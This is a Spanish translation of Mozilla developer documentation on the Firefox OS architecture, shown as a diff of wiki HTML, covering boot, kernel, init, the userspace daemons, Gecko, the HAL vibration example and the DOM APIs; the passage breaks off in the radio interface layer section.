+<p>Cuando un dispositivo con FirefoxOS se enciende, la ejecución se inicia en el cargador del arranque primario (<em>bootloader</em>). Desde allí, el proceso de la carga del SO principal procede normalmene; una sucesión de arranques de jerarquías crecientes inicia el siguiennte arranque en la cadena. Al final del proceso, se delega la ejecución al núcleo/kernel Linux.</p>
+
+<p>Hay algunos puntos destcables sobre el proceso de arranque:</p>
+
+<ul>
+ <li>Los arrancadores generalmente muestran la primera pantalla de sistema que ve el usuario durante el inicio; generalmente es un logo del fabricante/vendedor.</li>
+ <li>Los arrancadores cargan por <em>flash</em> una imagen [virtual] en el dispositivo. Diferentes dispositivos emplean difierentes protocolos; la mayoría de los teléfonos emplean el <em><a href="http://android-dls.com/wiki/index.php?title=Fastboot" title="http://android-dls.com/wiki/index.php?title=Fastboot">fastboot protocol</a></em> (protocolo de carga rápida), pero el Samsung Galaxy S II usa el protocolo Odin.</li>
+ <li>Hacia el final del proceso de arranque encadenado, suele cargarse la imagen virtual del módem y se ejecuta en el procesador del módem. Cómo ocurre esto es específico de cada dispositivo y puede tambien serlo del fabricante.</li>
+</ul>
+
+<h3 id="El_kernel_Linux">El <em>kernel</em> Linux</h3>
+
+<p>El núcleo Linux empleado por Gonk es muy similar a la versión de Linux difundida (<em>upstreamed</em>) de la que deriva (basada sobre el <em><a href="http://source.android.com/" title="http://source.android.com/">Android Open Source Project</a></em>). Existen cambios hehos por el AOSP que todavía no han sido difundidos. Además, los fabricantes y vendedores a veces modifican el núcleo y cargan esos cambios a la versión de difusión de acuerdo con su intinerario. En términos generales, el núcleo Linux es muy parecido al original.</p>
+
+<p>El <a href="http://en.wikipedia.org/wiki/Linux_startup_process" title="http://en.wikipedia.org/wiki/Linux_startup_process">proceso de arranque de Linux</a> se encuentra bien documentado en la internet por lo tanto este artículo no lo cubrirá.</p>
+
+<p>El núcleo Linux activará dispositivos y ejecutará procesos esenciales definidos en <code>init.rc</code> y su sucesor <a href="https://github.com/mozilla-b2g/gonk-misc/blob/master/init.b2g.rc"><code>init.b2g</code>.<code>rc</code></a> para arrancar procesos esenciales como <code>b2g</code> [procesos básicos de Firefox OS, contenedores de Gecko] y <code>rild</code> [un proceso relacionado con la telefonía que puede ser específico de cada chip] —vaya más abajo para ver más detalles. Al final del proceso, un proceso <code>init</code> de espacio de usuario (<em>userspace</em>) se lanza, como ocurre en la mayoría de los sistemas operativos del tipo UNIX.</p>
+
+<p>Una vez que el proceso <code>init</code> se ha lanzado, el núcleo Linux administra las llamadas del sistema desde el espacio de usuario, las interrupciones y semejantes desde los dispositivos de hardware. Algunas de las características de hardware se exponen al espacio de usuario a través de <a href="http://en.wikipedia.org/wiki/Sysfs" title="http://en.wikipedia.org/wiki/Sysfs"><code>sysfs</code></a>. Por ejemplo, aquí hay un <a href="https://github.com/cgjones/mozilla-central/blob/master/hal/gonk/GonkHal.cpp#L277" title="https://github.com/cgjones/mozilla-central/blob/master/hal/gonk/GonkHal.cpp#L277">fragmento de código</a> que lee el estado de la batería en Gecko:</p>
+
+<pre class="brush:cpp;">FILE *capacityFile = fopen("/sys/class/power_supply/battery/capacity", "r");
+double capacity = dom::battery::kDefaultLevel * 100;
+if (capacityFile) {
+  fscanf(capacityFile, "%lf", &amp;capacity);
+  fclose(capacityFile);
+}</pre>
+
+<h3 id="Más_sobre_el_proceso_init">Más sobre el proceso <code>init</code></h3>
+
+<p>El proceso <code>init</code> en Gonk gestiona el montaje de los archivos de sistema requeridos y activa los procesos de systema. Después de eso, se mantiene activo como gestor de procesos. Esto es muy similar al init en otros sistemas operativos similares a UNIX. Interpreta <em>scripts</em> [los archivos <code>init.rc</code>] que consisten de comandos que describen lo que debería ser hecho para iniciar servicios varios. El <code>init.rc</code> de FirefoxOS suele ser el <code>init.rc original </code>de Android para ese dispositivo, parchado para incluir los requisitos de arranque de FirefoxOS, y varía de dispositivo a dispositivo.</p>
+
+<p>Una de las tareas fundamentales que maneja el proceso <code>init</code> es el inicio del proceso <code>b2g</code>; éste es el núcleo del sistema operativo FirefoxOS.</p>
+
+<p>El código para tal <code>init.rc</code> es el siguiente:</p>
+
+<pre>service b2g /system/bin/b2g.sh
+    class main
+    onrestart restart media</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> las variaciones de<code> init.rc </code>dependerán de dispositivo a dispositivo; a veces <code>init.b2g.rc</code> sólo es anexadoo, y a veces los parches son más significativos.</p>
+</div>
+
+<h2 id="Arquitectura_de_los_procesos_del_espacio_de_usuario_(userspace)">Arquitectura de los procesos del espacio de usuario (userspace)</h2>
+
+<p>Resulta muy útil echar un vistazo de alto nivel a cómo varios componentes del Firefox OS se articulan e interactúan entre sí. Este diagrama muestra los procesos primarios de espacio de usuario en Firefox OS.</p>
+
+<p><a href="/files/3849/B2G userspace architecture.svg"><img alt="Userspace diagram" src="/files/3849/B2G%20userspace%20architecture.svg" style="float: right; height: 491px; position: relative; width: 520px;"></a></p>
+
+<div class="note">
+<p><strong>Nota:</strong> recuerda que como Firefox OS se encuentra en desarrollo activo, este diagrama puede estar sujeto a cambios y puede ser impreciso parcialmente.</p>
+</div>
+
+<p>El proceso b2g es el proceso primario de sistema. Se ejecuta con privilegios altos; tiene acceso a la mayoría del hardware. b2g se comunica con el módem, almacena en el buffer de pantalla e interactúa con el GPS, cámaras y otros dispositivos. Internamemte, se ejecuta con una capa de Gecko<span style="line-height: 1.5;"> (implementada por </span><code style="font-style: normal; line-height: 1.5;">libxul.so</code><span style="line-height: 1.5;">). Ver <a href="#Gecko">Gecko</a> para más detalles sobre cómo funciona la capa Gecko y cómo b2g se comunica con ella.</span></p>
+
+<h3 id="b2g">b2g</h3>
+
+<p>El proceso <code>b2g</code> puede dar lugar a un número de procesos de contenido de privilegios limitados. Estos procesos albergan la carga de aplicaciones web y otros contenidos. Estos procesos se comunican con el proceso principal del servidor Gecko a través de <a href="/en-US/docs/IPDL" title="/en-US/docs/IPDL">IPDL</a>, un sistema de envio de mensajes.</p>
+
+<p>El proceso <code>b2g</code> ejecuta lixbul, el cual referencia a <code>b2g/app/b2g.js</code> para obtener las preferencias de fábrica. De las preferencias se abrirá el archivo HTML descriptor <code>b2g/chrome/content/shell.html</code>, que es compilado en un archivo <code>omni.ja.</code> El <code>shell.html</code> incluye el archivo <code>b2g/chrome/content/shell.js</code> , que dispara la aplicación <code>system</code> de Gaia.</p>
+
+<h3 id="rild">rild</h3>
+
+<p>El proceso <code>rild</code> es la interfaz del proceso del módem. <code>rild</code> es el daemon que implementa <strong>La capa de Interfaz de la Radio</strong> [<strong>Radio Interface Layer</strong> (RIL)]. Es un componente de codigo cerrado implementado por el fabricante/vendedor de hardware para comunicarse con el hardware del módem. <code>rild</code> hace posible que el código cliente se comunique con un empalme de dominio-UNIX al que se enlaza. Se inicia con un código como este en el <code>init</code> script:</p>
+
+<pre>service ril-daemon /system/bin/rild
+    socket rild stream 660 root radio</pre>
+
+<h3 id="rilproxy">rilproxy</h3>
+
+<p>En Firefox OS, el cliente <code>rild</code> client es el proceso <code>rilproxy</code>. Este actúa como un proxy de reenvio mudo (dumb proxy) entre <code>rild</code> y <code>b2g</code>. Este proxy es necesario como un detalle de implementación; es de hecho necesario. El<code> </code><a href="https://github.com/mozilla-b2g/rilproxy" title="https://github.com/mozilla-b2g/rilproxy">código de rilproxy se encuentra en GitHub</a>.</p>
+
+<h3 id="mediaserver">mediaserver</h3>
+
+<p>El <a href="https://github.com/android/platform_frameworks_base/tree/ics-mr0-release/media/libmediaplayerservice" title="https://github.com/android/platform_frameworks_base/tree/ics-mr0-release/media/libmediaplayerservice">proceso<code> mediaserver</code></a> controla la reproducción de audio y video. Gecko se comunica con él a través de un mecanismo de Llamada de Procedimiento Remota de Android [Android Remote Procedure Call (RPC)]. Algunos de los contenidos multimedia que Gecko puede reproducir (OGG Vorbis audio, OGG Theora video, y <a href="http://www.webmproject.org/about/" title="http://www.webmproject.org/about/">WebM</a> video) son decodificados por Gecko y enviados directamente al proceso <code>mediaserver</code>. Otros archivos multimedia son decodificados por <code>libstagefright</code>, que puede acceder códecs del fabricante y codificadores del hardware.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> El proceso <code>mediaserver</code> es un componente "provisional" de Firefox OS; existe sólo para ayudar en el trabajo de desarrollo inicial pero se espera que se descarte con el tiempo; lo que seguramente no ocurrirá antes de la version 2.0 de Firefox OS.</p>
+</div>
+
+<h3 id="netd">netd</h3>
+
+<p>El proceso <code>netd</code> se usa para configurar interfaces de red.</p>
+
+<h3 id="wpa_supplicant">wpa_supplicant</h3>
+
+<p>El proceso <code>wpa_supplicant</code> process es el daemon estándar tipo UNIX que maneja la conectividad con los puntos de acceso WiFi.</p>
+
+<h3 id="dbus-daemon">dbus-daemon</h3>
+
+<p>El dbus-daemon implementa el <a href="http://www.freedesktop.org/wiki/Software/dbus" title="http://www.freedesktop.org/wiki/Software/dbus">D-Bus</a>, un sistema de mensajes de bus que Firefox OS emplea para las comunicaciones por Bluetooth.</p>
+
+<h2 id="Gecko">Gecko</h2>
+
+<p><a href="/en-US/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a>, como se lo mencionó previamente, es la implementación de estándares web (<a href="/en-US/docs/HTML" title="/en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/CSS" title="/en-US/docs/CSS">CSS</a>, y <a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a>) que se usa para implementar todos lo que el usuario ve en Firefox OS, y controlar las interacciones con el hardware del telefono.</p>
+
+<p>Las aplicaciones Web conectan HTML5 con el hardware de forma controlada a traves de API's web seguras, implementadas en Gecko. Las API's Web proveen de acceso programado a las caracteristicas implicitas en el hardware del dispositivo (como la bateria, o la vibracion), a medida que los datos son guardados, o estan disponibles, en el dispositivo. El contenido web invoca a las API's web accesibles con HTML5.</p>
+
+<p>Una app consiste en una coleccion de codigos web HTML5 relacionados. Para construir aplicaciones web que funcionen en dispositivos Firefox OS, los desarrolladores simplemento ensamblan, empaquetan y distribuyen este contenido web. En tiempo de ejecucion, este contenido web es interpretado, compilado y renderizado en una navegador web. Para mas informacion sobre Apps, puedes consultar el <a href="https://developer.mozilla.org/en-US/Apps">App Center</a></p>
+
+<div class="note">
+<p><strong>Note</strong>: Para buscar en la base de código de Gecko, se puede usar <a href="http://dxr.mozilla.org">http://dxr.mozilla.org</a>. Es más elegante y ofrece buenas características de referemcias. pero con repositorios limitados. También podría usar el tradicional <a href="http://mxr.mozilla.org">http://mxr.mozilla.org</a>, que contiene más proyectos de Mozilla.</p>
+</div>
+
+<h3 id="Diagrama_de_arquitectura_de_Gecko">Diagrama de arquitectura de Gecko</h3>
+
+<h3 id="sect1"><img alt="" src="https://mdn.mozillademos.org/files/5027/securityframework.png" style="height: 591px; width: 979px;"></h3>
+
+<h3 id="sect2"> </h3>
+
+<ul>
+ <li><strong>Framework de seguridad: </strong>formado por
+
+  <ul>
+   <li>Gestor de Permisos: Da acceso a las funcionalidades de la API Web</li>
+   <li>Lista de Control de Acceso: Matriz de roles y permisos requeridos para acceder a las funcionalidades de la API Web.</li>
+   <li>Validador de Credenciales: Autentificacion de apps y usuarios</li>
+   <li>Conjunto de Permisos: Conjunto de privilegios requeridos para acceder a las funcionalidades de la API Web</li>
+  </ul>
+ </li>
+ <li><strong>API Web: </strong>Conjunto de APIs estandar que exponen las funcionalidades del hardware al contenido web.<br>
+  Proveen aplicaciones web con seguridad, acceso programado a las caracteristicas implicitas del hardware del dispositivo movil, mientran el dato este almacenado -o accesible- al dispositivo.</li>
+ <li><strong>I/O: </strong>Interfaz al hardware y almacenamiento de datos.</li>
+ <li><strong>Actualizaciones de Software: </strong>Obtienen e instalan las actualizaciones del software del sistema y aplicaciones de terceros.</li>
+ <li><strong>Diseñador de contenidos y renderizado: </strong>Motor que analiza sintacticamente, interpreta y ejecuta el contenido web y. con la informacion de formato, muestra el contenido formateado al usuario</li>
+ <li><strong>Proceso b2g: </strong>(Gecko) corre con alto nivel de privilegios los procesos del sistema que tienen acceso a las caracteristicas del telefono movil.<br>
+  Las aplicaciones en ejecucion son procesos hijo de b2g.</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Archivos_de_Gecko_relacionados_con_Firefox_OS">Archivos de Gecko relacionados con Firefox OS</h3>
+
+<h4 id="b2g_2">b2g/</h4>
+
+<p>La carpeta b2g contiene es su mayoría funciones relacionadas con Firefox OS.</p>
+
+<h5 id="b2gchromecontent">b2g/chrome/content</h5>
+
+<p>Contiene archivos de Javascript ejecutados sobre la aplicación de sistema.</p>
+
+<h5 id="b2gchromecontentshell.html">b2g/chrome/content/shell.html</h5>
+
+<p>El punto de entrada a Gaia — el HTML para la aplicación de sistema. <code>shell.html</code> toma de <code>settings.js</code> and <code>shell.js</code>:</p>
+
+<pre class="brush: html"> </pre>
+
+<p><code>settings.js</code> contiene parámetros de configuración básicos (default) de sistema.</p>
+
+<h5 id="b2gchromecontentshell.js">b2g/chrome/content/shell.js</h5>
+
+<p><code>shell.js</code> es el primer script que se carga en la aplicación de sistema de Gaia.</p>
+
+<p><code>shell.js</code> importa todos los módulos requeridos, registra los detectores de clave (key listeners), define <code>sendCustomEvent</code> y <code>sendChromeEvent</code> para que se cominiquen con Gaia, y provee ayudantes de instalación de aplicaciones web: indexedDB quota, RemoteDebugger, ayudante de teclado, y la herramienta para captura de pantalla.</p>
+
+<p>Pero la función más importante de <code>shell.js</code> es lanzar la aplicación de <code>sistema</code> de Gaia, después entregarle todo el trabajo general de administración del sistema.</p>
+
+<pre class="brush: js">let systemAppFrame =
+  document.createElementNS('http://www.w3.org/1999/xhtml', 'html:iframe');
+    ...
+  container.appendChild(systemAppFrame);</pre>
+
+<h5 id="b2gappb2g.js">b2g/app/b2g.js</h5>
+
+<p>Este script contiene configuraciones predefinidas, como about:config en el navegador, y la misma que Gaia's pref.js. Estas configuraciones se pueden cambiar desde la aplicación de congifuraciones y se pueden sobreescribir con user.js en el script de construcción Gaia.</p>
+
+<h4 id="domAPI">dom/{API}</h4>
+
+<p>Nuevas implementaciones de la API (post-b2g) se localizarán en <code>dom/</code>. Las APIs anteiores se localizarán en <code>dom/base</code>, for example <code>Navigator.cpp</code>.</p>
+
+<h5 id="domapps">dom/apps</h5>
+
+<p><code>.jsm</code> se cargarán implementaciones de API — <code>.js</code> API tales como <code>webapp.js</code> install, <code>getSelf</code>, etc.</p>
+
+<h5 id="domappsPermissionsTable.jsm">dom/apps/PermissionsTable.jsm</h5>
+
+<p>Se definen todos los permisos en <a href="http://mxr.mozilla.org/mozilla-central/source/dom/apps/PermissionsTable.jsm">PermissionsTable.jsm</a></p>
+
+<h4 id="domwebidl">dom/webidl</h4>
+
+<p>WebIDL es el lenguaje empleado para definir web APIs. La información sobre los atributos soportados se encuentra en <a href="https://developer.mozilla.org/en-US/docs/Mozilla/WebIDL_bindings">WebIDL_bindings</a>.</p>
+
+<h4 id="halgonk">hal/gonk</h4>
+
+<p>Este directorio contiene archivos sobre la capa de adaptación gonk..</p>
+
+<h4 id="Archivos_generados">Archivos generados</h4>
+
+<h5 id="modulelibprefsrcinitall.js">module/libpref/src/init/all.js</h5>
+
+<p>Contiene todos los archivos de configuración.</p>
+
+<h5 id="systemb2g_omni.ja_and_omni.js">/system/b2g/ omni.ja and omni.js</h5>
+
+<p>Contiene el paquete de estilos para los recursos en el dispositivo.</p>
+
+<h3 id="Proceso_de_eventos_de_ingreso">Proceso de eventos de ingreso</h3>
+
+<p>La mayor parte de las acciones en Gecko se activan por acciones de usuario. Estas acciones son representadas por eventos de emtrada (tales como presionar botones, tocar la pantalla y similar). Estos eventos entran a Gecko a través de <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp" rel="custom">Gonk implementation</a> perteneciente a <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAppShell" title="">nsIAppShell</a></code>, que es una interfaz de Gecko empleada para representar los puntos de entrada primaria de una aplicación de Gecko, es decir, el controlador del dispositivo de ingreso llama métodos en el objeto <code>nsAppShell</code> que representa el subsistema de Gecko para así enviar eventos a la interfaz de usuario.</p>
+
+<p> </p>
+
+<p>Por ejemplo:</p>
+
+<p> </p>
+
+<pre class="brush:cpp;">void GeckoInputDispatcher::notifyKey(nsecs_t eventTime,
+                                     int32_t deviceId,
+                                     int32_t source,
+                                     uint32_t policyFlags,
+                                     int32_t action,
+                                     int32_t flags,
+                                     int32_t keyCode,
+                                     int32_t scanCode,
+                                     int32_t metaState,
+                                     nsecs_t downTime) {
+  UserInputData data;
+  data.timeMs = nanosecsToMillisecs(eventTime);
+  data.type = UserInputData::KEY_DATA;
+  data.action = action;
+  data.flags = flags;
+  data.metaState = metaState;
+  data.key.keyCode = keyCode;
+  data.key.scanCode = scanCode;
+  {
+    MutexAutoLock lock(mQueueLock);
+    mEventQueue.push(data);
+  }
+  gAppShell-&gt;NotifyNativeEvent();
+}</pre>
+
+<p>Estos eventos provienen del sistema estándar Linux <code>input_event</code>. Firefox OS emplea <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/libui/InputReader.cpp" rel="custom">light abstraction layer</a> sobre eso; lo que provee algunas características útiles como filtrar los eventos. Se puede ver el código que crea eventos de ingreso en el método <code>EventHub::getEvents()</code> que se encuentra en <a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/libui/EventHub.cpp" rel="custom">widget/gonk/libui/EventHub.cpp</a>.</p>
+
+<p>Un vez que Gecko recivió los eventos, se envían a DOM por <code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsAppShell.cpp" rel="custom">nsAppShell</a></code>:</p>
+
+<pre class="brush:cpp;">static nsEventStatus sendKeyEventWithMsg(uint32_t keyCode,
+                                         uint32_t msg,
+                                         uint64_t timeMs,
+                                         uint32_t flags) {
+    nsKeyEvent event(true, msg, NULL);
+    event.keyCode = keyCode;
+    event.location = nsIDOMKeyEvent::DOM_KEY_LOCATION_MOBILE;
+    event.time = timeMs;
+    event.flags |= flags;
+    return nsWindow::DispatchInputEvent(event);
+}
+</pre>
+
+<p>Después de lo anterior, los eventos son consumidos por el propio Gecko o despachados a aplicaciones web como <a href="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events" title="/en-US/docs/DOM_Client_Object_Cross-Reference/DOM_Events">Eventos DOM</a> para ser procesados posteriormente.</p>
+
+<h3 id="Graficos">Graficos</h3>
+
+<p>En si nivel más inferior, Gecko emplea <a href="http://www.khronos.org/opengles/2_X/" title="http://www.khronos.org/opengles/2_X/">OpenGL ES 2.0</a> para establecer un contexto GL que envuelva los <em>buffers</em> del <em>hardware</em>. Esto es realizado en la implementación de Gonk en <code><a href="https://dxr.mozilla.org/mozilla-central/source/widget/gonk/nsWindow.cpp" rel="custom">nsWindow</a></code> por medio de un código similar a este:</p>
+
+<pre class="brush:cpp;">gNativeWindow = new android::FramebufferNativeWindow();
+sGLContext = GLContextProvider::CreateForWindow(this);</pre>
+
+<p>La clase <code>FramebufferNativeWindow</code> es obtenida directamente desde Android; ver <a href="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp" title="https://github.com/android/platform_frameworks_base/blob/ics-mr1-release/libs/ui/FramebufferNativeWindow.cpp"><code>FramebufferNativeWindow.cpp</code></a>. Este emplea la API de <strong>gralloc</strong> para acceder al controlador de gráficos con el fin de mapear los <em>buffers</em> del dispositivo <em>framebuffer</em> a la memoria del dispositivo.</p>
+
+<p>Gecko emplea su sistema (de) <a href="/en-US/docs/Gecko/Layers" title="/en-US/docs/Gecko/Layers">Layers</a> para componer contenido dibujado en la pantalla. En resumen, ocurre lo siguiente:</p>
+
+<ol>
+ <li>Gecko dibuja regiones distintas de las páginas en los <em>buffers</em> de memoria, A veces, estos <em>buffers</em> están en la memoria del sistema; otras veces, son texturas mapeadas en el espacio de direcciones de Gecko, lo que siginifica que Gecko está dibujando directamente en la memoria de video. Esto se realiza generalmente en el método <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#83" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>BasicThebesLayer::PaintThebes()</code></a>.</li>
+ <li>Entonces, Gecko, compone todas estas texturas en la pantalla empleando comandos OpenGL. Esta composición tiene lugar en <a href="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/opengl/ThebesLayerOGL.cpp#124" title="http://mxr.mozilla.org/mozilla-central/source/gfx/layers/basic/BasicThebesLayer.cpp#201"><code>ThebesLayerOGL::RenderTo()</code></a>.</li>
+</ol>
+
+<p>Los detalles de cómo Gecko maneja el muestreo (<em>rendenring</em>) de contenido web se encuentra fuera del alcance de este documento.</p>
+
+<h3 id="Capa_de_Abstracción_de_Hardware_(HAL)">Capa de Abstracción de Hardware (HAL)</h3>
+
+<p><br>
+ La capa de abstracción de hardware de Gecko es una de sus capas de adaptación (porting). Gestiona los accesos de bajo nivel a las interfaces del sistema a lo largo de múltiples plataformas usando una API de C++ accesible desde los niveles superiores de Gecko. Estas APIs son implementadas plataforma a plataforma dentro de la HAL de Gecko. Esta capa de abstracción de hardware no es expuesta directamente a código JavaScript dentro de Gecko.</p>
+
+<h4 id="Cómo_funciona_HAL">Cómo funciona HAL</h4>
+
+<p>Vamos a considerar la API <a href="/es/docs/Web/API/Window/navigator/vibrate" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Vibration</code></a> como ejemplo. la HAL para esta API se define en <a href="https://dxr.mozilla.org/mozilla-central/source/hal/Hal.h" rel="custom">hal/Hal.h</a>. Resumiendo (simplificando el método de firma para hacerlo más claro), tienes esta función:</p>
+
+<pre>void Vibrate(const nsTArray &amp;pattern);</pre>
+
+<p>Esta es la función que el código de Gecko llama par activar la vibración del dispositivo de acuerdo con un patrón específico; una función correspondiente existe para cancelar la vibración activa. La implementación de GONK para este método está en <a href="https://dxr.mozilla.org/mozilla-central/source/hal/gonk/GonkHal.cpp" rel="custom">hal/gonk/GonkHal.cpp</a>:</p>
+
+<pre class="brush:cpp;">void Vibrate(const nsTArray &amp;pattern) {
+  EnsureVibratorThreadInitialized();
+  sVibratorRunnable-&gt;Vibrate(pattern);
+}
+</pre>
+
+<p>Este código envía la petición para el inicio de la vibración a otro conjunto de procesos, que se implementa en <code>VibratorRunnable::Run()</code>. El bucle principal de este hilo seria parecido a esto:</p>
+
+<pre class="brush:cpp;">while (!mShuttingDown) {
+  if (mIndex &lt; mPattern.Length()) {
+    uint32_t duration = mPattern[mIndex];
+    if (mIndex % 2 == 0) {
+      vibrator_on(duration);
+    }
+    mIndex++;
+    mMonitor.Wait(PR_MillisecondsToInterval(duration));
+  }
+  else {
+    mMonitor.Wait();
+  }
+}
+</pre>
+
+<p><code>vibrator_on()</code> es la API HAL de GONK que enciende el motor de vibración. Internamente, este método envía un mensaje al controlador de núcleo (kernel driver) al escribir un valor en un objeto de kernel empleando <code>sysfs</code>.</p>
+
+<h4 id="Implementaciones_de_la_Fallback_HAL_API">Implementaciones de la <em>Fallback HAL API</em></h4>
+
+<p><br>
+ Las APIs HAL de Gecko tienen soporte en todas las plataformas. Cuando se construye Gecko para una plataforma que no expone una interfaz a los motores de vibración (como una computadora de escritorio) entonces se vale de una implemenación de <em>fallback</em> de la API de HAL. Para la vibración, este esta implementado en <a href="https://dxr.mozilla.org/mozilla-central/source/hal/fallback/FallbackVibration.cpp" rel="custom">hal/fallback/FallbackVibration.cpp</a>.</p>
+
+<pre class="brush:cpp;">void Vibrate(const nsTArray &amp;pattern) {
+}</pre>
+
+<h4 id="Implementaciones_de_Sandbox_(entorno_cerrado)">Implementaciones de <em>Sandbox</em> (entorno cerrado)</h4>
+
+<p>Debido a que la mayoría del contenido de la red se ejecuta en procesos de contenido con privilegios bajos, no podemos suponer que esos procesos tienen los privilegios necesarios para poder (por ejemplo) activar o desactivar el motor de vibración. Además, queremos tener una ubicación central para controlar las posibles condiciones de carrera (<em>race conditions</em>). En la HAL de Gecko, esto es realizado por medio de la implementación de una sandbox de la HAL. Esta sandbox simplemente funciona como un proxy para la peticiones realizadas por los procesos de contenido y las reenvía al proceso del "servidor Gecko". Las peticiones de proxy se envían empleando IPDL.</p>
+
+<p>Para la vibración, la función<code> Vibrate()</code> se encarga de la gestión y se la implementa en <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp" rel="custom">hal/sandbox/SandboxHal.cpp</a>:</p>
+
+<pre class="brush:cpp;">void Vibrate(const nsTArray&amp; pattern, const WindowIdentifier &amp;id) {
+  AutoInfallibleTArray p(pattern);
+
+  WindowIdentifier newID(id);
+  newID.AppendProcessID();
+  Hal()-&gt;SendVibrate(p, newID.AsArray(), GetTabChildFrom(newID.GetWindow()));
+}</pre>
+
+<p>Esto envía un mensaje definido por la interfaz PHal, descrita por IPDL en <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/PHal.ipdl" rel="custom">hal/sandbox/PHal.ipdl</a>. El método se describe aproximadamente de la siguiente manera:</p>
+
+<pre>Vibrate(uint32_t[] pattern);</pre>
+
+<p>El receptor de este mensaje es la <code>HalParent::RecvVibrate()</code> method in <a href="https://dxr.mozilla.org/mozilla-central/source/hal/sandbox/SandboxHal.cpp" rel="custom">hal/sandbox/SandboxHal.cpp</a>, el cual seria algo parecido a esto:</p>
+
+<pre class="brush:cpp;">virtual bool RecvVibrate(const InfallibleTArray&amp; pattern,
+            const InfallibleTArray &amp;id,
+            PBrowserParent *browserParent) MOZ_OVERRIDE {
+
+  hal::Vibrate(pattern, newID);
+  return true;
+}</pre>
+
+<p>Este omite algunos detalles que no son relevantes a este punto pero, en cualquier caso, demuestra cómo el mensaje progresa desde un proceso de contenido a través de Gecko hasta Gonk, luego a la implementación de la HAL de Gonk <code>Vibrate()</code>, y finalmente al controlador de vibración.</p>
+
+<h3 id="APIs_DOM">APIs DOM</h3>
+
+<p><strong>Las interfaces DOM</strong> son, esencialmente, la forma en la que el contenido web se comunica con Gecko. Hay más información al respecto y, si estás interesado en detalles extras, puedes leer <a href="/en-US/docs/DOM/About_the_Document_Object_Model" title="/en-US/docs/DOM/About_the_Document_Object_Model">sobre el DOM</a>. Las interfaces DOM se definen empleando <a href="/en-US/docs/XPIDL" title="/en-US/docs/XPIDL">IDL</a>, que compone una interfaz de función foránea (foreign function interface, FFI) y un objeto modelo (OM) entre JavaScript y C++.</p>
+
+<p>La API de vibración se expone al contenido web por medio de una interfaz IDL, que se la provee en <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/interfaces/base/nsIDOMNavigator.idl" rel="custom">nsIDOMNavigator.idl</a>:</code></p>
+
+<pre>[implicit_jscontext] void mozVibrate(in jsval aPattern);</pre>
+
+<p>El argumento <a href="/en-US/docs/SpiderMonkey/JSAPI_Reference/Jsval" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JSVAL_IS_OBJECT"><code>jsval</code></a> indica que <code>mozVibrate()</code> (que es nuestra implementación vendedor-prefijada de esta especificación no finalazida de vibración) acepta como ingreso cualquier valor de JavaScript. El compilador IDL, <a href="/en-US/docs/XPIDL/xpidl" title="/en-US/docs/XPIDL/xpidl"><code>xpidl</code></a>, genera una interfaz C++ que entonces se implementa por la clase <code>Navigator</code> en <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/base/Navigator.cpp" rel="custom">Navigator.cpp</a></code>.</p>
+
+<pre class="brush:cpp;">NS_IMETHODIMP Navigator::MozVibrate(const jsval&amp; aPattern, JSContext* cx) {
+  // ...
+  hal::Vibrate(pattern);
+  return NS_OK;
+}</pre>
+
+<p>Hay mucho más código en este método de lo que ves aquí, pero no es importante para el proposito que estamos tratando. El hecho es que la llamada a <code>hal::Vibrate()</code> transfiere el control de DOM a la HAL Gecko. Desde allí, entramos a la implementación de HAL tratada en la sección previa y continuamos hacia el controlador. Además, la implementación DOM no se preocupa por la plataforma en la que está corriendo (Gonk, Windows, OS X, o cualquier otra). Tampoco le interesa si el código está corriendo en un proceso de contenido o en un proceso del servidor Gecko. Esos detalles se dejan de lado para que los gestionen los procesos de nivel bajo del sistema.</p>
+
+<p>La API de vibración es muy simple, lo que la convierte un ejemplo excelente. La<a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS"> API de SMS</a> es más compleja porque emplea su propia capa de envío remoto que conecta los procesos de contenido con el servidor.</p>
+
+<h2 id="Capa_de_Interfaz_de_Radio_(CIRRIL)">Capa de Interfaz de Radio (CIR/RIL)</h2>
+
+<p>La RIL (Radio Interface Lyer) ya se mencionó en la sección <a href="#The_userspace_process_architecture">The userspace process architecture</a>. Esta sección examinará con más detalle cómo las diferentes partes de esta capa interactúan.</p>
+
+<p>Los componentes principales involucrados en la RIL son los siguientes:</p>
+
+<dl>
+ <dt><code>rild</code></dt>
+ <dd>El daemon que habla al firmware del módem de fábrica.</dd>
+ <dt><code>rilproxy</code></dt>
+ <dd>El daemon que referencia mensajes (proxy) entre <code>rild</code> y Gecko (que está implementado en el proceso <code>b2g</code>). Esto soluciona el problema de permisos que surje cuando se trata de comunicar con<code> rild</code> directamente ya que sólo se puede comunicar con <code>rild desde el grupo </code><code>radio</code>.</dd>
+ <dt><code>b2g</code></dt>
